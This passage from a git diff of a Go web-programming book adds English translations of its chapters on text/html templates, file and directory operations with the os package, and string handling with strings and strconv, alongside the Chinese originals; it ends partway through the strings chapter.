[]string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + +### Conditions + +If you need to check for conditions in templates, you can use the `if-else` syntax just like you do in regular Go programs. If the pipeline is empty, the default value of `if` is `false`. The following example shows how to use `if-else` in templates: + + package main + + import ( + "os" + "text/template" + ) + + func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) + + tWithValue := template.New("template test") + tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) + + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) + } + +As you can see, it's easy to use `if-else` in templates. + +** Attention ** You CANNOT use conditional expressions in if, for instance `.Mail=="astaxie@gmail.com"`. Only boolean values are acceptable. + +### pipelines + +Unix users should be familiar with the `pipe` operator, like `ls | grep "beego"`. This command filters files and only shows those that contain the word `beego`. One thing that I like about Go templates is that they support pipes. Anything in `{{}}` can be the data of pipelines. The e-mail we used above can render our application vulnerable to XSS attacks. How can we address this issue using pipes? + + {{. | html}} + +We can use this method to escape the e-mail body to HTML. It's quite the same as writing a Unix command, and its convenient for use in template functions. + +### Template variables + +Sometimes we need to use local variables in templates. We can use them with the `with`, `range` and `if` keywords, and their scope is between these keywords and `{{end}}`. Here's an example of declaring a global variable: + + $variable := pipeline + +More examples: + + {{with $x := "output" | printf "%q"}}{{$x}}{{end}} + {{with $x := "output"}}{{printf "%q" $x}}{{end}} + {{with $x := "output"}}{{$x | printf "%q"}}{{end}} + +### Template functions + +Go uses the `fmt` package to format output in templates, but sometimes we need to do something else. As an example scenario, let's say we want to replace `@` with `at` in our e-mail address, like `astaxie at beego.me`. At this point, we have to write a customized function. + +Every template function has a unique name and is associated with one function in your Go program as follows: + + type FuncMap map[string]interface{} + +Suppose we have an `emailDeal` template function associated with its `EmailDealWith` counterpart function in our Go program. We can use the following code to register this function: + + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + +`EmailDealWith` definition: + + func EmailDealWith(args …interface{}) string + +Example: + + package main + + import ( + "fmt" + "html/template" + "os" + "strings" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s + } + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + +Here is a list of built-in template functions: + + var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, + } + + +## Must + +The template package has a function called `Must` which is for validating templates, like the matching of braces, comments, and variables. Let's take a look at an example of `Must`: + + package main + + import ( + "fmt" + "text/template" + ) + + func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") + + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") + + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) + } + +Output: + + The first one parsed OK. + The second one parsed OK. + The next one ought to fail. + panic: template: check parse error with Must:1: unexpected "}" in command + +## Nested templates + +Just like in most web applications, certain parts of templates can be reused across other templates, like the headers and footers of a blog. We can declare `header`, `content` and `footer` as sub-templates, and declare them in Go using the following syntax: + + {{define "sub-template"}}content{{end}} + +The sub-template is called using the following syntax: + + {{template "sub-template"}} + +Here's a complete example, supposing that we have the following three files: `header.tmpl`, `content.tmpl` and `footer.tmpl`. + +Main template: + + //header.tmpl + {{define "header"}} + + + Something here + + + {{end}} + + //content.tmpl + {{define "content"}} + {{template "header"}} +

Nested here

+
    +
  • Nested usag
  • +
  • Call template
  • +
+ {{template "footer"}} + {{end}} + + //footer.tmpl + {{define "footer"}} + + + {{end}} + +Code: + + package main + + import ( + "fmt" + "os" + "text/template" + ) + + func main() { + s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s1.Execute(os.Stdout, nil) + } + +Here we can see that `template.ParseFiles` parses all nested templates into cache, and that every template defined by `{{define}}` is independent of one another. They are persisted in something like a map, where the template names are keys and the values are the template bodies. We can then use `ExecuteTemplate` to execute the corresponding sub-templates, so that the header and footer are independent and content contains them both. Note that if we try to execute `s1.Execute`, nothing will be outputted because there is no default sub-template available. + +Templates in one set know each other, but you must parse them for every single set. + +## Summary + +In this section, you learned how to combine dynamic data with templates using techniques including printing data in loops, template functions and nested templates. By learning about templates, we can conclude discussing the V part of the MVC architecture. In the following chapters, we will cover the M and C aspects of MVC. + +## Links + +- [Directory](preface.md) +- Previous section: [Regexp](07.3.md) +- Next section: [Files](07.5.md) diff --git a/en/07.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/07.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..f90fdb81 --- /dev/null +++ b/en/07.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,350 @@ +# 7.4 模板处理 +## 什么是模板 +你一定听说过一种叫做MVC的设计模式,Model处理数据,View展现结果,Controller控制用户的请求,至于View层的处理,在很多动态语言里面都是通过在静态HTML中插入动态语言生成的数据,例如JSP中通过插入`<%=....=%>`,PHP中通过插入``来实现的。 + +通过下面这个图可以说明模板的机制 + +![](images/7.4.template.png?raw=true) + +图7.1 模板机制图 + +Web应用反馈给客户端的信息中的大部分内容是静态的,不变的,而另外少部分是根据用户的请求来动态生成的,例如要显示用户的访问记录列表。用户之间只有记录数据是不同的,而列表的样式则是固定的,此时采用模板可以复用很多静态代码。 + +## Go模板使用 +在Go语言中,我们使用`template`包来进行模板处理,使用类似`Parse`、`ParseFile`、`Execute`等方法从文件或者字符串加载模板,然后执行类似上面图片展示的模板的merge操作。请看下面的例子: + + func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") //创建一个模板 + t, _ = t.ParseFiles("tmpl/welcome.html", nil) //解析模板文件 + user := GetUser() //获取当前用户信息 + t.Execute(w, user) //执行模板的merger操作 + } + +通过上面的例子我们可以看到Go语言的模板操作非常的简单方便,和其他语言的模板处理类似,都是先获取数据,然后渲染数据。 + +为了演示和测试代码的方便,我们在接下来的例子中采用如下格式的代码 + +- 使用Parse代替ParseFiles,因为Parse可以直接测试一个字符串,而不需要额外的文件 +- 不使用handler来写演示代码,而是每个测试一个main,方便测试 +- 使用`os.Stdout`代替`http.ResponseWriter`,因为`os.Stdout`实现了`io.Writer`接口 + +## 模板中如何插入数据? +上面我们演示了如何解析并渲染模板,接下来让我们来更加详细的了解如何把数据渲染出来。一个模板都是应用在一个Go的对象之上,Go对象的字段如何插入到模板中呢? + +### 字段操作 +Go语言的模板通过`{{}}`来包含需要在渲染时被替换的字段,`{{.}}`表示当前的对象,这和Java或者C++中的this类似,如果要访问当前对象的字段通过`{{.FieldName}}`,但是需要注意一点:这个字段必须是导出的(字段首字母必须是大写的),否则在渲染的时候就会报错,请看下面的这个例子: + + package main + + import ( + "html/template" + "os" + ) + + type Person struct { + UserName string + } + + func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) + } + +上面的代码我们可以正确的输出`hello Astaxie`,但是如果我们稍微修改一下代码,在模板中含有了未导出的字段,那么就会报错 + + type Person struct { + UserName string + email string //未导出的字段,首字母是小写的 + } + + t, _ = t.Parse("hello {{.UserName}}! {{.email}}") + +上面的代码就会报错,因为我们调用了一个未导出的字段,但是如果我们调用了一个不存在的字段是不会报错的,而是输出为空。 + +如果模板中输出`{{.}}`,这个一般应用于字符串对象,默认会调用fmt包输出字符串的内容。 + +### 输出嵌套字段内容 +上面我们例子展示了如何针对一个对象的字段输出,那么如果字段里面还有对象,如何来循环的输出这些内容呢?我们可以使用`{{with …}}…{{end}}`和`{{range …}}{{end}}`来进行数据的输出。 + +- {{range}} 这个和Go语法里面的range类似,循环操作数据 +- {{with}}操作是指当前对象的值,类似上下文的概念 + +详细的使用请看下面的例子: + + package main + + import ( + "html/template" + "os" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + +### 条件处理 +在Go模板里面如果需要进行条件判断,那么我们可以使用和Go语言的`if-else`语法类似的方式来处理,如果pipeline为空,那么if就认为是false,下面的例子展示了如何使用`if-else`语法: + + package main + + import ( + "os" + "text/template" + ) + + func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("空 pipeline if demo: {{if ``}} 不会输出. {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) + + tWithValue := template.New("template test") + tWithValue = template.Must(tWithValue.Parse("不为空的 pipeline if demo: {{if `anything`}} 我有内容,我会输出. {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) + + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if部分 {{else}} else部分.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) + } + +通过上面的演示代码我们知道`if-else`语法相当的简单,在使用过程中很容易集成到我们的模板代码中。 + +> 注意:if里面无法使用条件判断,例如.Mail=="astaxie@gmail.com",这样的判断是不正确的,if里面只能是bool值 + +### pipelines +Unix用户已经很熟悉什么是`pipe`了,`ls | grep "beego"`类似这样的语法你是不是经常使用,过滤当前目录下面的文件,显示含有"beego"的数据,表达的意思就是前面的输出可以当做后面的输入,最后显示我们想要的数据,而Go语言模板最强大的一点就是支持pipe数据,在Go语言里面任何`{{}}`里面的都是pipelines数据,例如我们上面输出的email里面如果还有一些可能引起XSS注入的,那么我们如何来进行转化呢? + + {{. | html}} + +在email输出的地方我们可以采用如上方式可以把输出全部转化html的实体,上面的这种方式和我们平常写Unix的方式是不是一模一样,操作起来相当的简便,调用其他的函数也是类似的方式。 + +### 模板变量 +有时候,我们在模板使用过程中需要定义一些局部变量,我们可以在一些操作中申明局部变量,例如`with``range``if`过程中申明局部变量,这个变量的作用域是`{{end}}`之前,Go语言通过申明的局部变量格式如下所示: + + $variable := pipeline + +详细的例子看下面的: + + {{with $x := "output" | printf "%q"}}{{$x}}{{end}} + {{with $x := "output"}}{{printf "%q" $x}}{{end}} + {{with $x := "output"}}{{$x | printf "%q"}}{{end}} +### 模板函数 +模板在输出对象的字段值时,采用了`fmt`包把对象转化成了字符串。但是有时候我们的需求可能不是这样的,例如有时候我们为了防止垃圾邮件发送者通过采集网页的方式来发送给我们的邮箱信息,我们希望把`@`替换成`at`例如:`astaxie at beego.me`,如果要实现这样的功能,我们就需要自定义函数来做这个功能。 + +每一个模板函数都有一个唯一值的名字,然后与一个Go函数关联,通过如下的方式来关联 + + type FuncMap map[string]interface{} + +例如,如果我们想要的email函数的模板函数名是`emailDeal`,它关联的Go函数名称是`EmailDealWith`,那么我们可以通过下面的方式来注册这个函数 + + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + +`EmailDealWith`这个函数的参数和返回值定义如下: + + func EmailDealWith(args …interface{}) string + +我们来看下面的实现例子: + + package main + + import ( + "fmt" + "html/template" + "os" + "strings" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s + } + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + + +上面演示了如何自定义函数,其实,在模板包内部已经有内置的实现函数,下面代码截取自模板包里面 + + var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, + } + + +## Must操作 +模板包里面有一个函数`Must`,它的作用是检测模板是否正确,例如大括号是否匹配,注释是否正确的关闭,变量是否正确的书写。接下来我们演示一个例子,用Must来判断模板是否正确: + + package main + + import ( + "fmt" + "text/template" + ) + + func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") + + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") + + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) + } + +将输出如下内容 + + The first one parsed OK. + The second one parsed OK. + The next one ought to fail. + panic: template: check parse error with Must:1: unexpected "}" in command + +## 嵌套模板 +我们平常开发Web应用的时候,经常会遇到一些模板有些部分是固定不变的,然后可以抽取出来作为一个独立的部分,例如一个博客的头部和尾部是不变的,而唯一改变的是中间的内容部分。所以我们可以定义成`header`、`content`、`footer`三个部分。Go语言中通过如下的语法来申明 + + {{define "子模板名称"}}内容{{end}} + +通过如下方式来调用: + + {{template "子模板名称"}} + +接下来我们演示如何使用嵌套模板,我们定义三个文件,`header.tmpl`、`content.tmpl`、`footer.tmpl`文件,里面的内容如下 + + //header.tmpl + {{define "header"}} + + + 演示信息 + + + {{end}} + + //content.tmpl + {{define "content"}} + {{template "header"}} +

演示嵌套

+
    +
  • 嵌套使用define定义子模板
  • +
  • 调用使用template
  • +
+ {{template "footer"}} + {{end}} + + //footer.tmpl + {{define "footer"}} + + + {{end}} + +演示代码如下: + + package main + + import ( + "fmt" + "os" + "text/template" + ) + + func main() { + s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s1.Execute(os.Stdout, nil) + } + +通过上面的例子我们可以看到通过`template.ParseFiles`把所有的嵌套模板全部解析到模板里面,其实每一个定义的{{define}}都是一个独立的模板,他们相互独立,是并行存在的关系,内部其实存储的是类似map的一种关系(key是模板的名称,value是模板的内容),然后我们通过`ExecuteTemplate`来执行相应的子模板内容,我们可以看到header、footer都是相对独立的,都能输出内容,content 中因为嵌套了header和footer的内容,就会同时输出三个的内容。但是当我们执行`s1.Execute`,没有任何的输出,因为在默认的情况下没有默认的子模板,所以不会输出任何的东西。 + +>同一个集合类的模板是互相知晓的,如果同一模板被多个集合使用,则它需要在多个集合中分别解析 + +## 总结 +通过上面对模板的详细介绍,我们了解了如何把动态数据与模板融合:如何输出循环数据、如何自定义函数、如何嵌套模板等等。通过模板技术的应用,我们可以完成MVC模式中V的处理,接下来的章节我们将介绍如何来处理M和C。 + +## links + * [目录]() + * 上一节: [正则处理](<07.3.md>) + * 下一节: [文件操作](<07.5.md>) diff --git a/en/07.5.md b/en/07.5.md index a059ab47..146bcda2 100644 --- a/en/07.5.md +++ b/en/07.5.md @@ -1,153 +1,159 @@ -# 7.5 文件操作 -在任何计算机设备中,文件是都是必须的对象,而在Web编程中,文件的操作一直是Web程序员经常遇到的问题,文件操作在Web应用中是必须的,非常有用的,我们经常遇到生成文件目录,文件(夹)编辑等操作,现在我把Go中的这些操作做一详细总结并实例示范如何使用。 -## 目录操作 -文件操作的大多数函数都是在os包里面,下面列举了几个目录操作的: - -- func Mkdir(name string, perm FileMode) error - - 创建名称为name的目录,权限设置是perm,例如0777 - -- func MkdirAll(path string, perm FileMode) error - - 根据path创建多级子目录,例如astaxie/test1/test2。 - -- func Remove(name string) error - - 删除名称为name的目录,当目录下有文件或者其他目录是会出错 - -- func RemoveAll(path string) error - - 根据path删除多级子目录,如果path是单个名称,那么该目录下的子目录全部删除。 - - -下面是演示代码: - - package main - - import ( - "fmt" - "os" - ) - - func main() { - os.Mkdir("astaxie", 0777) - os.MkdirAll("astaxie/test1/test2", 0777) - err := os.Remove("astaxie") - if err != nil { - fmt.Println(err) - } - os.RemoveAll("astaxie") - } - - -## 文件操作 - -### 建立与打开文件 -新建文件可以通过如下两个方法 - -- func Create(name string) (file *File, err Error) - - 根据提供的文件名创建新的文件,返回一个文件对象,默认权限是0666的文件,返回的文件对象是可读写的。 - -- func NewFile(fd uintptr, name string) *File - - 根据文件描述符创建相应的文件,返回一个文件对象 - - -通过如下两个方法来打开文件: - -- func Open(name string) (file *File, err Error) - - 该方法打开一个名称为name的文件,但是是只读方式,内部实现其实调用了OpenFile。 - -- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) - - 打开名称为name的文件,flag是打开的方式,只读、读写等,perm是权限 - -### 写文件 -写文件函数: - -- func (file *File) Write(b []byte) (n int, err Error) - - 写入byte类型的信息到文件 - -- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) - - 在指定位置开始写入byte类型的信息 - -- func (file *File) WriteString(s string) (ret int, err Error) - - 写入string信息到文件 - -写文件的示例代码 - - package main - - import ( - "fmt" - "os" - ) - - func main() { - userFile := "astaxie.txt" - fout, err := os.Create(userFile) - if err != nil { - fmt.Println(userFile, err) - return - } - defer fout.Close() - for i := 0; i < 10; i++ { - fout.WriteString("Just a test!\r\n") - fout.Write([]byte("Just a test!\r\n")) - } - } - -### 读文件 -读文件函数: - -- func (file *File) Read(b []byte) (n int, err Error) - - 读取数据到b中 - -- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) - - 从off开始读取数据到b中 - -读文件的示例代码: - - package main - - import ( - "fmt" - "os" - ) - - func main() { - userFile := "asatxie.txt" - fl, err := os.Open(userFile) - if err != nil { - fmt.Println(userFile, err) - return - } - defer fl.Close() - buf := make([]byte, 1024) - for { - n, _ := fl.Read(buf) - if 0 == n { - break - } - os.Stdout.Write(buf[:n]) - } - } - -### 删除文件 -Go语言里面删除文件和删除文件夹是同一个函数 - -- func Remove(name string) Error - - 调用该函数就可以删除文件名为name的文件 - -## links - * [目录]() - * 上一节: [模板处理](<07.4.md>) - * 下一节: [字符串处理](<07.6.md>) +# 7.5 Files + +Files are must-have objects on every single computer device. It won't come as any surprise to you that web applications also make heavy use of them. In this section, we're going to learn how to operate on files in Go. + +## Directories + +In Go, most of the file operation functions are located in the `os` package. Here are some directory functions: + +- func Mkdir(name string, perm FileMode) error + + Create a directory with `name`. `perm` is the directory permissions, i.e 0777. + +- func MkdirAll(path string, perm FileMode) error + + Create multiple directories according to `path`, like `astaxie/test1/test2`. + +- func Remove(name string) error + + Removes directory with `name`. Returns error if it's not a directory or not empty. + +- func RemoveAll(path string) error + + Removes multiple directories according to `path`. Directories will not be deleted if `path` is a single path. + +Code sample: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) + } + os.RemoveAll("astaxie") + } + +## Files + +### Create and open files + +There are two functions for creating files: + +- func Create(name string) (file *File, err Error) + + Create a file with `name` and return a read-writable file object with permission 0666. + +- func NewFile(fd uintptr, name string) *File + + Create a file and return a file object. + + +There are also two functions to open files: + +- func Open(name string) (file *File, err Error) + + Opens a file called `name` with read-only access, calling `OpenFile` under the covers. + +- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) + + Opens a file called `name`. `flag` is open mode like read-only, read-write, etc. `perm` are the file permissions. + +### Write files + +Functions for writing files: + +- func (file *File) Write(b []byte) (n int, err Error) + + Write byte type content to a file. + +- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) + + Write byte type content to a specific position of a file. + +- func (file *File) WriteString(s string) (ret int, err Error) + + Write a string to a file. + +Code sample: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } + } + +### Read files + +Functions for reading files: + +- func (file *File) Read(b []byte) (n int, err Error) + + Read data to `b`. + +- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) + + Read data from position `off` to `b`. + +Code sample: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break + } + os.Stdout.Write(buf[:n]) + } + } + +### Delete files + +Go uses the same function for removing files and directories: + +- func Remove(name string) Error + + Remove a file or directory called `name`.( *** a `name` ending with `/` signifies that it's a directory*** ) + +## Links + +- [Directory](preface.md) +- Previous section: [Templates](07.4.md) +- Next section: [Strings](07.6.md) diff --git a/en/07.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/07.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..7a84bcd2 --- /dev/null +++ b/en/07.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,153 @@ +# 7.5 文件操作 +在任何计算机设备中,文件是都是必须的对象,而在Web编程中,文件的操作一直是Web程序员经常遇到的问题,文件操作在Web应用中是必须的,非常有用的,我们经常遇到生成文件目录,文件(夹)编辑等操作,现在我把Go中的这些操作做一详细总结并实例示范如何使用。 +## 目录操作 +文件操作的大多数函数都是在os包里面,下面列举了几个目录操作的: + +- func Mkdir(name string, perm FileMode) error + + 创建名称为name的目录,权限设置是perm,例如0777 + +- func MkdirAll(path string, perm FileMode) error + + 根据path创建多级子目录,例如astaxie/test1/test2。 + +- func Remove(name string) error + + 删除名称为name的目录,当目录下有文件或者其他目录是会出错 + +- func RemoveAll(path string) error + + 根据path删除多级子目录,如果path是单个名称,那么该目录下的子目录全部删除。 + + +下面是演示代码: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) + } + os.RemoveAll("astaxie") + } + + +## 文件操作 + +### 建立与打开文件 +新建文件可以通过如下两个方法 + +- func Create(name string) (file *File, err Error) + + 根据提供的文件名创建新的文件,返回一个文件对象,默认权限是0666的文件,返回的文件对象是可读写的。 + +- func NewFile(fd uintptr, name string) *File + + 根据文件描述符创建相应的文件,返回一个文件对象 + + +通过如下两个方法来打开文件: + +- func Open(name string) (file *File, err Error) + + 该方法打开一个名称为name的文件,但是是只读方式,内部实现其实调用了OpenFile。 + +- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) + + 打开名称为name的文件,flag是打开的方式,只读、读写等,perm是权限 + +### 写文件 +写文件函数: + +- func (file *File) Write(b []byte) (n int, err Error) + + 写入byte类型的信息到文件 + +- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) + + 在指定位置开始写入byte类型的信息 + +- func (file *File) WriteString(s string) (ret int, err Error) + + 写入string信息到文件 + +写文件的示例代码 + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } + } + +### 读文件 +读文件函数: + +- func (file *File) Read(b []byte) (n int, err Error) + + 读取数据到b中 + +- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) + + 从off开始读取数据到b中 + +读文件的示例代码: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break + } + os.Stdout.Write(buf[:n]) + } + } + +### 删除文件 +Go语言里面删除文件和删除文件夹是同一个函数 + +- func Remove(name string) Error + + 调用该函数就可以删除文件名为name的文件 + +## links + * [目录]() + * 上一节: [模板处理](<07.4.md>) + * 下一节: [字符串处理](<07.6.md>) diff --git a/en/07.6.md b/en/07.6.md index b2f6fbce..65068992 100644 --- a/en/07.6.md +++ b/en/07.6.md @@ -1,152 +1,162 @@ -# 7.6 字符串处理 -字符串在我们平常的Web开发中经常用到,包括用户的输入,数据库读取的数据等,我们经常需要对字符串进行分割、连接、转换等操作,本小节将通过Go标准库中的strings和strconv两个包中的函数来讲解如何进行有效快速的操作。 -## 字符串操作 -下面这些函数来自于strings包,这里介绍一些我平常经常用到的函数,更详细的请参考官方的文档。 - -- func Contains(s, substr string) bool - - 字符串s中是否包含substr,返回bool值 - - fmt.Println(strings.Contains("seafood", "foo")) - fmt.Println(strings.Contains("seafood", "bar")) - fmt.Println(strings.Contains("seafood", "")) - fmt.Println(strings.Contains("", "")) - //Output: - //true - //false - //true - //true - -- func Join(a []string, sep string) string - - 字符串链接,把slice a通过sep链接起来 - - s := []string{"foo", "bar", "baz"} - fmt.Println(strings.Join(s, ", ")) - //Output:foo, bar, baz - -- func Index(s, sep string) int - - 在字符串s中查找sep所在的位置,返回位置值,找不到返回-1 - - fmt.Println(strings.Index("chicken", "ken")) - fmt.Println(strings.Index("chicken", "dmr")) - //Output:4 - //-1 - -- func Repeat(s string, count int) string - - 重复s字符串count次,最后返回重复的字符串 - - fmt.Println("ba" + strings.Repeat("na", 2)) - //Output:banana - -- func Replace(s, old, new string, n int) string - - 在s字符串中,把old字符串替换为new字符串,n表示替换的次数,小于0表示全部替换 - - fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) - fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) - //Output:oinky oinky oink - //moo moo moo - -- func Split(s, sep string) []string - - 把s字符串按照sep分割,返回slice - - fmt.Printf("%q\n", strings.Split("a,b,c", ",")) - fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) - fmt.Printf("%q\n", strings.Split(" xyz ", "")) - fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) - //Output:["a" "b" "c"] - //["" "man " "plan " "canal panama"] - //[" " "x" "y" "z" " "] - //[""] - -- func Trim(s string, cutset string) string - - 在s字符串的头部和尾部去除cutset指定的字符串 - - fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) - //Output:["Achtung"] - -- func Fields(s string) []string - - 去除s字符串的空格符,并且按照空格分割返回slice - - fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) - //Output:Fields are: ["foo" "bar" "baz"] - - -## 字符串转换 -字符串转化的函数在strconv中,如下也只是列出一些常用的: - -- Append 系列函数将整数等转换为字符串后,添加到现有的字节数组中。 - - package main - - import ( - "fmt" - "strconv" - ) - - func main() { - str := make([]byte, 0, 100) - str = strconv.AppendInt(str, 4567, 10) - str = strconv.AppendBool(str, false) - str = strconv.AppendQuote(str, "abcdefg") - str = strconv.AppendQuoteRune(str, '单') - fmt.Println(string(str)) - } - -- Format 系列函数把其他类型的转换为字符串 - - package main - - import ( - "fmt" - "strconv" - ) - - func main() { - a := strconv.FormatBool(false) - b := strconv.FormatFloat(123.23, 'g', 12, 64) - c := strconv.FormatInt(1234, 10) - d := strconv.FormatUint(12345, 10) - e := strconv.Itoa(1023) - fmt.Println(a, b, c, d, e) - } - -- Parse 系列函数把字符串转换为其他类型 - - package main - - import ( - "fmt" - "strconv" - ) - func checkError(e error){ - if e != nil{ - fmt.Println(e) - } - } - func main() { - a, err := strconv.ParseBool("false") - checkError(err) - b, err := strconv.ParseFloat("123.23", 64) - checkError(err) - c, err := strconv.ParseInt("1234", 10, 64) - checkError(err) 